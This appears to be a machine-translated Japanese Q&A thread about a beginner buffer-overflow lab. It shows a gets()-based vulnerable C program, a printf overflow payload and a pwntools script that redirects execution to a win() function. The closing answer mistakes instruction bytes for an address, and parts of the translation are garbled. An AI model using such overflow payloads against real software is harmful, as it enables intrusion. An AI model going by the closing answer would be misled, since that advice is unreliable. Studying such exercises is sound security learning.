web-dev-qa-db-ja.com

バッファがオーバーフローするが、アドレスにジャンプしない

私はバッファオーバーフローの初心者ですが、数日からこの問題を研究していて、この問題を発見しました(コード: here

基本的な概念を理解していると思います。64バイトを超える文字を書き込み、gets関数はスタック上の次のアドレスをオーバーフローします。これは、charsの長さを判別できず、espが実行する任意の場所で次のアドレスを上書きするためです。そうだね?

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
volatile int (*fp)();
char buffer[64];

fp = 0;

gets(buffer);

if(fp) {
  printf("calling function pointer, jumping to 0x%08x\n", fp);
  fp();
}
}

コードに従って、ターミナルでprintfコマンドを使用します

printf "qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqbqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq\xca\x06" | ./ex3

私は想定されているsegfaultを取得し、プログラムのprintfは適切なアドレスで上書きしていることを示しています

(gdb) x win
0x6ca <win>:    0xe5894855

ターミナル:

calling function pointer, jumping to 0x000006ca
Segmentation fault
2

基本的な概念を理解していると思います。64バイトを超える文字を書き込むと、gets関数はスタック上の次のアドレスをオーバーフローします。これは、charの長さを判別できず、espが実行する任意の場所で次のアドレスを上書きするためです。そうだね?

ではない正確に! ESPはシェルコードを実行しません(ESPは単なる32ビットレジスタ))が、それを指しているため、EIPを制御してmakeたとえば、_jmp esp_命令のアドレスをポイントすると、スタック上のシェルコードの場所に簡単にアクセスして実行できます。この場合、EIPで_jmp esp_命令をポイントする必要はありませんが、 win関数。

したがって、演習の目的は、プログラムの制御フローを変更して、win()関数がメインで呼び出されなくても実行されるようにすることであると想定します。最初に行うことは、EIPレジスタを制御するために必要な正確なオフセットを決定することです。そのためには gdb のようなデバッガが必要です。 gdb-peda もお勧めします。これは、パターンの作成などの多くの便利なものを自動化します...

次に、それを使用してバッファをオーバーフローさせ、制御フローをwin()にリダイレクトできます。 aslrが無効になっていると仮定すると、gdbを使用してwinのアドレスを簡単に見つけることができます。次に、次のようにエクスプロイト(I pythonを使用)を構築できます。

_#!/usr/bin/env python

from pwn import *

offset = 64                  # offset to control EIP
ret_address = p32(0x40057d)  # address of win() packed for x86 archs

payload = "A" * offset + ret_address  # final payload

p = process('./test')  # execute the test binary
p.sendline(payload)    # send our payload
print p.recv()         # get the output
_

上記のコードスニペットでは、バイナリとのやり取りを簡単にするために pwntools を使用しましたが、外部モジュールを使用せずに同じことを行うことができます。

注:

  • 上記のコードをx86ビットシステムで試しましたが、x64ビットでも動作するように簡単に変更できます。
  • さらに、win()関数のアドレスは、おそらく私が投稿したものとは異なるでしょう。
  • 簡単にするため、私はaslrが無効になっていると仮定します。
0
game0ver

代わりに0xe5894855にジャンプしてみてください。 0x06caは単なるポインタである可能性があります。

1
Tudor